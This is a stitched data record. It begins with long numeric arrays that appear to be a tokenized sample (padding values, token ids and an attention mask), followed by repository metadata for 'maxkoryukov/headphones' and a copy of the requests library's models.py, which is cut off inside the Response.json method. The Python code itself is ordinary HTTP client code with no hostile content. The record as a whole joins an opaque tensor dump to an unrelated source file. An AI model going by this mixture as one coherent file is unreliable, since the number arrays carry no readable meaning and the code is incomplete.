32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 199, 7692, 26, 199, 3945, 287, 1148, 14, 1548, 366, 8143, 63, 3122, 63, 68, 14, 647, 2195, 14, 7101, 3388, 199, 624, 199, 199, 646, 284, 357, 13691, 14, 493, 63, 5503, 199, 504, 286, 319, 13691, 14, 1144, 63, 6606, 492, 20758, 199, 199, 318, 1255, 8, 21557, 472, 12, 302, 63, 11329, 304, 272, 367, 1625, 315, 284, 357, 13691, 14, 493, 63, 5503, 14, 1629, 63, 493, 8, 21557, 472, 680, 493, 63, 1000, 14, 77, 19576, 63, 10095, 26, 267, 327, 3372, 340, 440, 376, 676, 279, 1785, 28873, 666, 267, 340, 440, 334, 1144, 14, 374, 63, 88, 803, 63, 27203, 63, 1144, 342, 436, 1625, 14, 290, 676, 279, 1785, 63, 4173, 5109, 288, 870, 298, 27713, 401, 1625, 14, 815, 342, 288, 1980, 398, 327, 2136, 5534, 626, 666, 365, 2575, 9545, 267, 702, 1625, 14, 374, 63, 3235, 63, 409, 63, 7138, 63, 3840, 10987, 342, 398, 327, 5452, 376, 676, 279, 1785, 15109, 267, 366, 8143, 275, 1625, 14, 290, 676, 279, 1785, 63, 6870, 10056, 342, 398, 327, 2112, 543, 2517, 1835, 267, 366, 8143, 14, 2758, 63, 1393, 1372, 8, 78, 63, 11329, 29, 78, 63, 11329, 9, 267, 2517, 1372, 275, 366, 8143, 14, 1393, 1372, 342, 398, 870, 298, 3836, 6783, 1625, 14, 815, 342, 267, 870, 298, 257, 366, 988, 259, 366, 827, 221, 302, 7655, 221, 366, 8143, 2, 267, 367, 284, 63, 1393, 315, 2517, 1372, 14, 1842, 63, 2972, 837, 288, 327, 7267, 367, 642, 2517, 14, 13680, 365, 20758, 14, 2245, 909, 334, 513, 402, 715, 402, 756, 9, 288, 13680, 275, 2517, 1372, 14, 5592, 8, 73, 63, 1393, 9, 953, 327, 5452, 4615, 402, 3679, 574, 402, 376, 676, 279, 1785, 15109, 315, 282, 2517, 288, 2517, 63, 3670, 275, 20758, 14, 3670, 8, 14759, 14, 2101, 8, 68, 8143, 14, 2416, 8, 5891, 680, 576, 4059, 288, 366, 63, 988, 12, 366, 63, 827, 275, 2517, 1372, 14, 1393, 63, 68, 63, 1842, 8, 73, 63, 1393, 9, 288, 870, 2071, 23, 14, 18, 70, 450, 23, 14, 18, 70, 450, 22, 68, 10536, 18, 70, 2, 450, 334, 68, 63, 988, 12, 366, 63, 827, 12, 2517, 1372, 14, 835, 8, 73, 63, 1393, 395, 2517, 63, 3670, 9, 199, 3, 1255, 342, 199, 199, 692, 636, 354, 363, 508, 4396, 973, 5727, 272, 492, 984, 272, 394, 75, 472, 275, 984, 14, 3020, 59, 17, 61, 272, 302, 63, 11329, 275, 1109, 8, 1274, 14, 3020, 59, 18, 566, 272, 1255, 8, 21557, 472, 12, 302, 63, 11329, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
maxkoryukov/headphones
lib/requests/models.py
69
29173
# -*- coding: utf-8 -*- """ requests.models ~~~~~~~~~~~~~~~ This module contains the primary objects that power Requests. """ import collections import datetime from io import BytesIO, UnsupportedOperation from .hooks import default_hooks from .structures import CaseInsensitiveDict from .auth import HTTPBasicAuth from .cookies import cookiejar_from_dict, get_cookie_header, _copy_cookie_jar from .packages.urllib3.fields import RequestField from .packages.urllib3.filepost import encode_multipart_formdata from .packages.urllib3.util import parse_url from .packages.urllib3.exceptions import ( DecodeError, ReadTimeoutError, ProtocolError, LocationParseError) from .exceptions import ( HTTPError, MissingSchema, InvalidURL, ChunkedEncodingError, ContentDecodingError, ConnectionError, StreamConsumedError) from .utils import ( guess_filename, get_auth_from_url, requote_uri, stream_decode_response_unicode, to_key_val_list, parse_header_links, iter_slices, guess_json_utf, super_len, to_native_string) from .compat import ( cookielib, urlunparse, urlsplit, urlencode, str, bytes, StringIO, is_py2, chardet, builtin_str, basestring) from .compat import json as complexjson from .status_codes import codes #: The set of HTTP status codes that indicate an automatically #: processable redirect. REDIRECT_STATI = ( codes.moved, # 301 codes.found, # 302 codes.other, # 303 codes.temporary_redirect, # 307 codes.permanent_redirect, # 308 ) DEFAULT_REDIRECT_LIMIT = 30 CONTENT_CHUNK_SIZE = 10 * 1024 ITER_CHUNK_SIZE = 512 class RequestEncodingMixin(object): @property def path_url(self): """Build the path URL to use.""" url = [] p = urlsplit(self.url) path = p.path if not path: path = '/' url.append(path) query = p.query if query: url.append('?') url.append(query) return ''.join(url) @staticmethod def _encode_params(data): """Encode parameters in a piece of data. Will successfully encode parameters when passed as a dict or a list of 2-tuples. Order is retained if data is a list of 2-tuples but arbitrary if parameters are supplied as a dict. """ if isinstance(data, (str, bytes)): return data elif hasattr(data, 'read'): return data elif hasattr(data, '__iter__'): result = [] for k, vs in to_key_val_list(data): if isinstance(vs, basestring) or not hasattr(vs, '__iter__'): vs = [vs] for v in vs: if v is not None: result.append( (k.encode('utf-8') if isinstance(k, str) else k, v.encode('utf-8') if isinstance(v, str) else v)) return urlencode(result, doseq=True) else: return data @staticmethod def _encode_files(files, data): """Build the body for a multipart/form-data request. Will successfully encode files when passed as a dict or a list of 2-tuples. Order is retained if data is a list of 2-tuples but arbitrary if parameters are supplied as a dict. """ if (not files): raise ValueError("Files must be provided.") elif isinstance(data, basestring): raise ValueError("Data must not be a string.") new_fields = [] fields = to_key_val_list(data or {}) files = to_key_val_list(files or {}) for field, val in fields: if isinstance(val, basestring) or not hasattr(val, '__iter__'): val = [val] for v in val: if v is not None: # Don't call str() on bytestrings: in Py3 it all goes wrong. if not isinstance(v, bytes): v = str(v) new_fields.append( (field.decode('utf-8') if isinstance(field, bytes) else field, v.encode('utf-8') if isinstance(v, str) else v)) for (k, v) in files: # support for explicit filename ft = None fh = None if isinstance(v, (tuple, list)): if len(v) == 2: fn, fp = v elif len(v) == 3: fn, fp, ft = v else: fn, fp, ft, fh = v else: fn = guess_filename(v) or k fp = v if isinstance(fp, (str, bytes, bytearray)): fdata = fp else: fdata = fp.read() rf = RequestField(name=k, data=fdata, filename=fn, headers=fh) rf.make_multipart(content_type=ft) new_fields.append(rf) body, content_type = encode_multipart_formdata(new_fields) return body, content_type class RequestHooksMixin(object): def register_hook(self, event, hook): """Properly register a hook.""" if event not in self.hooks: raise ValueError('Unsupported event specified, with event name "%s"' % (event)) if isinstance(hook, collections.Callable): self.hooks[event].append(hook) elif hasattr(hook, '__iter__'): self.hooks[event].extend(h for h in hook if isinstance(h, collections.Callable)) def deregister_hook(self, event, hook): """Deregister a previously registered hook. Returns True if the hook existed, False if not. """ try: self.hooks[event].remove(hook) return True except ValueError: return False class Request(RequestHooksMixin): """A user-created :class:`Request <Request>` object. Used to prepare a :class:`PreparedRequest <PreparedRequest>`, which is sent to the server. :param method: HTTP method to use. :param url: URL to send. :param headers: dictionary of headers to send. :param files: dictionary of {filename: fileobject} files to multipart upload. :param data: the body to attach to the request. If a dictionary is provided, form-encoding will take place. :param json: json for the body to attach to the request (if data is not specified). :param params: dictionary of URL parameters to append to the URL. :param auth: Auth handler or (user, pass) tuple. :param cookies: dictionary or CookieJar of cookies to attach to this request. :param hooks: dictionary of callback hooks, for internal usage. Usage:: >>> import requests >>> req = requests.Request('GET', 'http://httpbin.org/get') >>> req.prepare() <PreparedRequest [GET]> """ def __init__(self, method=None, url=None, headers=None, files=None, data=None, params=None, auth=None, cookies=None, hooks=None, json=None): # Default empty dicts for dict params. data = [] if data is None else data files = [] if files is None else files headers = {} if headers is None else headers params = {} if params is None else params hooks = {} if hooks is None else hooks self.hooks = default_hooks() for (k, v) in list(hooks.items()): self.register_hook(event=k, hook=v) self.method = method self.url = url self.headers = headers self.files = files self.data = data self.json = json self.params = params self.auth = auth self.cookies = cookies def __repr__(self): return '<Request [%s]>' % (self.method) def prepare(self): """Constructs a :class:`PreparedRequest <PreparedRequest>` for transmission and returns it.""" p = PreparedRequest() p.prepare( method=self.method, url=self.url, headers=self.headers, files=self.files, data=self.data, json=self.json, params=self.params, auth=self.auth, cookies=self.cookies, hooks=self.hooks, ) return p class PreparedRequest(RequestEncodingMixin, RequestHooksMixin): """The fully mutable :class:`PreparedRequest <PreparedRequest>` object, containing the exact bytes that will be sent to the server. Generated from either a :class:`Request <Request>` object or manually. Usage:: >>> import requests >>> req = requests.Request('GET', 'http://httpbin.org/get') >>> r = req.prepare() <PreparedRequest [GET]> >>> s = requests.Session() >>> s.send(r) <Response [200]> """ def __init__(self): #: HTTP verb to send to the server. self.method = None #: HTTP URL to send the request to. self.url = None #: dictionary of HTTP headers. self.headers = None # The `CookieJar` used to create the Cookie header will be stored here # after prepare_cookies is called self._cookies = None #: request body to send to the server. self.body = None #: dictionary of callback hooks, for internal usage. self.hooks = default_hooks() def prepare(self, method=None, url=None, headers=None, files=None, data=None, params=None, auth=None, cookies=None, hooks=None, json=None): """Prepares the entire request with the given parameters.""" self.prepare_method(method) self.prepare_url(url, params) self.prepare_headers(headers) self.prepare_cookies(cookies) self.prepare_body(data, files, json) self.prepare_auth(auth, url) # Note that prepare_auth must be last to enable authentication schemes # such as OAuth to work on a fully prepared request. # This MUST go after prepare_auth. Authenticators could add a hook self.prepare_hooks(hooks) def __repr__(self): return '<PreparedRequest [%s]>' % (self.method) def copy(self): p = PreparedRequest() p.method = self.method p.url = self.url p.headers = self.headers.copy() if self.headers is not None else None p._cookies = _copy_cookie_jar(self._cookies) p.body = self.body p.hooks = self.hooks return p def prepare_method(self, method): """Prepares the given HTTP method.""" self.method = method if self.method is not None: self.method = self.method.upper() def prepare_url(self, url, params): """Prepares the given HTTP URL.""" #: Accept objects that have string representations. #: We're unable to blindy call unicode/str functions #: as this will include the bytestring indicator (b'') #: on python 3.x. #: https://github.com/kennethreitz/requests/pull/2238 if isinstance(url, bytes): url = url.decode('utf8') else: url = unicode(url) if is_py2 else str(url) # Don't do any URL preparation for non-HTTP schemes like `mailto`, # `data` etc to work around exceptions from `url_parse`, which # handles RFC 3986 only. if ':' in url and not url.lower().startswith('http'): self.url = url return # Support for unicode domain names and paths. try: scheme, auth, host, port, path, query, fragment = parse_url(url) except LocationParseError as e: raise InvalidURL(*e.args) if not scheme: error = ("Invalid URL {0!r}: No schema supplied. Perhaps you meant http://{0}?") error = error.format(to_native_string(url, 'utf8')) raise MissingSchema(error) if not host: raise InvalidURL("Invalid URL %r: No host supplied" % url) # Only want to apply IDNA to the hostname try: host = host.encode('idna').decode('utf-8') except UnicodeError: raise InvalidURL('URL has an invalid label.') # Carefully reconstruct the network location netloc = auth or '' if netloc: netloc += '@' netloc += host if port: netloc += ':' + str(port) # Bare domains aren't valid URLs. if not path: path = '/' if is_py2: if isinstance(scheme, str): scheme = scheme.encode('utf-8') if isinstance(netloc, str): netloc = netloc.encode('utf-8') if isinstance(path, str): path = path.encode('utf-8') if isinstance(query, str): query = query.encode('utf-8') if isinstance(fragment, str): fragment = fragment.encode('utf-8') enc_params = self._encode_params(params) if enc_params: if query: query = '%s&%s' % (query, enc_params) else: query = enc_params url = requote_uri(urlunparse([scheme, netloc, path, None, query, fragment])) self.url = url def prepare_headers(self, headers): """Prepares the given HTTP headers.""" if headers: self.headers = CaseInsensitiveDict((to_native_string(name), value) for name, value in headers.items()) else: self.headers = CaseInsensitiveDict() def prepare_body(self, data, files, json=None): """Prepares the given HTTP body data.""" # Check if file, fo, generator, iterator. # If not, run through normal process. # Nottin' on you. body = None content_type = None length = None if json is not None: content_type = 'application/json' body = complexjson.dumps(json) is_stream = all([ hasattr(data, '__iter__'), not isinstance(data, (basestring, list, tuple, dict)) ]) try: length = super_len(data) except (TypeError, AttributeError, UnsupportedOperation): length = None if is_stream: body = data if files: raise NotImplementedError('Streamed bodies and files are mutually exclusive.') if length is not None: self.headers['Content-Length'] = builtin_str(length) else: self.headers['Transfer-Encoding'] = 'chunked' else: # Multi-part file uploads. if files: (body, content_type) = self._encode_files(files, data) else: if data and json is None: body = self._encode_params(data) if isinstance(data, basestring) or hasattr(data, 'read'): content_type = None else: content_type = 'application/x-www-form-urlencoded' self.prepare_content_length(body) # Add content-type if it wasn't explicitly provided. if content_type and ('content-type' not in self.headers): self.headers['Content-Type'] = content_type self.body = body def prepare_content_length(self, body): if hasattr(body, 'seek') and hasattr(body, 'tell'): body.seek(0, 2) self.headers['Content-Length'] = builtin_str(body.tell()) body.seek(0, 0) elif body is not None: l = super_len(body) if l: self.headers['Content-Length'] = builtin_str(l) elif (self.method not in ('GET', 'HEAD')) and (self.headers.get('Content-Length') is None): self.headers['Content-Length'] = '0' def prepare_auth(self, auth, url=''): """Prepares the given HTTP auth data.""" # If no Auth is explicitly provided, extract it from the URL first. if auth is None: url_auth = get_auth_from_url(self.url) auth = url_auth if any(url_auth) else None if auth: if isinstance(auth, tuple) and len(auth) == 2: # special-case basic HTTP auth auth = HTTPBasicAuth(*auth) # Allow auth to make its changes. r = auth(self) # Update self to reflect the auth changes. self.__dict__.update(r.__dict__) # Recompute Content-Length self.prepare_content_length(self.body) def prepare_cookies(self, cookies): """Prepares the given HTTP cookie data. This function eventually generates a ``Cookie`` header from the given cookies using cookielib. Due to cookielib's design, the header will not be regenerated if it already exists, meaning this function can only be called once for the life of the :class:`PreparedRequest <PreparedRequest>` object. Any subsequent calls to ``prepare_cookies`` will have no actual effect, unless the "Cookie" header is removed beforehand.""" if isinstance(cookies, cookielib.CookieJar): self._cookies = cookies else: self._cookies = cookiejar_from_dict(cookies) cookie_header = get_cookie_header(self._cookies, self) if cookie_header is not None: self.headers['Cookie'] = cookie_header def prepare_hooks(self, hooks): """Prepares the given hooks.""" # hooks can be passed as None to the prepare method and to this # method. To prevent iterating over None, simply use an empty list # if hooks is False-y hooks = hooks or [] for event in hooks: self.register_hook(event, hooks[event]) class Response(object): """The :class:`Response <Response>` object, which contains a server's response to an HTTP request. """ __attrs__ = [ '_content', 'status_code', 'headers', 'url', 'history', 'encoding', 'reason', 'cookies', 'elapsed', 'request' ] def __init__(self): super(Response, self).__init__() self._content = False self._content_consumed = False #: Integer Code of responded HTTP Status, e.g. 404 or 200. self.status_code = None #: Case-insensitive Dictionary of Response Headers. #: For example, ``headers['content-encoding']`` will return the #: value of a ``'Content-Encoding'`` response header. self.headers = CaseInsensitiveDict() #: File-like object representation of response (for advanced usage). #: Use of ``raw`` requires that ``stream=True`` be set on the request. # This requirement does not apply for use internally to Requests. self.raw = None #: Final URL location of Response. self.url = None #: Encoding to decode with when accessing r.text. self.encoding = None #: A list of :class:`Response <Response>` objects from #: the history of the Request. Any redirect responses will end #: up here. The list is sorted from the oldest to the most recent request. self.history = [] #: Textual reason of responded HTTP Status, e.g. "Not Found" or "OK". self.reason = None #: A CookieJar of Cookies the server sent back. self.cookies = cookiejar_from_dict({}) #: The amount of time elapsed between sending the request #: and the arrival of the response (as a timedelta). #: This property specifically measures the time taken between sending #: the first byte of the request and finishing parsing the headers. It #: is therefore unaffected by consuming the response content or the #: value of the ``stream`` keyword argument. self.elapsed = datetime.timedelta(0) #: The :class:`PreparedRequest <PreparedRequest>` object to which this #: is a response. self.request = None def __getstate__(self): # Consume everything; accessing the content attribute makes # sure the content has been fully read. if not self._content_consumed: self.content return dict( (attr, getattr(self, attr, None)) for attr in self.__attrs__ ) def __setstate__(self, state): for name, value in state.items(): setattr(self, name, value) # pickled objects do not have .raw setattr(self, '_content_consumed', True) setattr(self, 'raw', None) def __repr__(self): return '<Response [%s]>' % (self.status_code) def __bool__(self): """Returns true if :attr:`status_code` is 'OK'.""" return self.ok def __nonzero__(self): """Returns true if :attr:`status_code` is 'OK'.""" return self.ok def __iter__(self): """Allows you to use a response as an iterator.""" return self.iter_content(128) @property def ok(self): try: self.raise_for_status() except HTTPError: return False return True @property def is_redirect(self): """True if this Response is a well-formed HTTP redirect that could have been processed automatically (by :meth:`Session.resolve_redirects`). """ return ('location' in self.headers and self.status_code in REDIRECT_STATI) @property def is_permanent_redirect(self): """True if this Response one of the permanant versions of redirect""" return ('location' in self.headers and self.status_code in (codes.moved_permanently, codes.permanent_redirect)) @property def apparent_encoding(self): """The apparent encoding, provided by the chardet library""" return chardet.detect(self.content)['encoding'] def iter_content(self, chunk_size=1, decode_unicode=False): """Iterates over the response data. When stream=True is set on the request, this avoids reading the content at once into memory for large responses. The chunk size is the number of bytes it should read into memory. This is not necessarily the length of each item returned as decoding can take place. If decode_unicode is True, content will be decoded using the best available encoding based on the response. """ def generate(): # Special case for urllib3. if hasattr(self.raw, 'stream'): try: for chunk in self.raw.stream(chunk_size, decode_content=True): yield chunk except ProtocolError as e: raise ChunkedEncodingError(e) except DecodeError as e: raise ContentDecodingError(e) except ReadTimeoutError as e: raise ConnectionError(e) else: # Standard file-like object. while True: chunk = self.raw.read(chunk_size) if not chunk: break yield chunk self._content_consumed = True if self._content_consumed and isinstance(self._content, bool): raise StreamConsumedError() # simulate reading small chunks of the content reused_chunks = iter_slices(self._content, chunk_size) stream_chunks = generate() chunks = reused_chunks if self._content_consumed else stream_chunks if decode_unicode: chunks = stream_decode_response_unicode(chunks, self) return chunks def iter_lines(self, chunk_size=ITER_CHUNK_SIZE, decode_unicode=None, delimiter=None): """Iterates over the response data, one line at a time. When stream=True is set on the request, this avoids reading the content at once into memory for large responses. .. note:: This method is not reentrant safe. """ pending = None for chunk in self.iter_content(chunk_size=chunk_size, decode_unicode=decode_unicode): if pending is not None: chunk = pending + chunk if delimiter: lines = chunk.split(delimiter) else: lines = chunk.splitlines() if lines and lines[-1] and chunk and lines[-1][-1] == chunk[-1]: pending = lines.pop() else: pending = None for line in lines: yield line if pending is not None: yield pending @property def content(self): """Content of the response, in bytes.""" if self._content is False: # Read the contents. try: if self._content_consumed: raise RuntimeError( 'The content for this response was already consumed') if self.status_code == 0: self._content = None else: self._content = bytes().join(self.iter_content(CONTENT_CHUNK_SIZE)) or bytes() except AttributeError: self._content = None self._content_consumed = True # don't need to release the connection; that's been handled by urllib3 # since we exhausted the data. return self._content @property def text(self): """Content of the response, in unicode. If Response.encoding is None, encoding will be guessed using ``chardet``. The encoding of the response content is determined based solely on HTTP headers, following RFC 2616 to the letter. If you can take advantage of non-HTTP knowledge to make a better guess at the encoding, you should set ``r.encoding`` appropriately before accessing this property. """ # Try charset from content-type content = None encoding = self.encoding if not self.content: return str('') # Fallback to auto-detected encoding. if self.encoding is None: encoding = self.apparent_encoding # Decode unicode from given encoding. try: content = str(self.content, encoding, errors='replace') except (LookupError, TypeError): # A LookupError is raised if the encoding was not found which could # indicate a misspelling or similar mistake. # # A TypeError can be raised if encoding is None # # So we try blindly encoding. content = str(self.content, errors='replace') return content def json(self, **kwargs): """Returns the json-encoded content of a response, if any. :param \*\*kwargs: Optional arguments that ``json.loads`` takes. """ if not self.encoding and len(self.content) > 3: # No encoding set. JSON RFC 4627 section 3 states we should expect # UTF-8, -16 or -32. Detect which one to use; If the detection or # decoding fails, fall back to 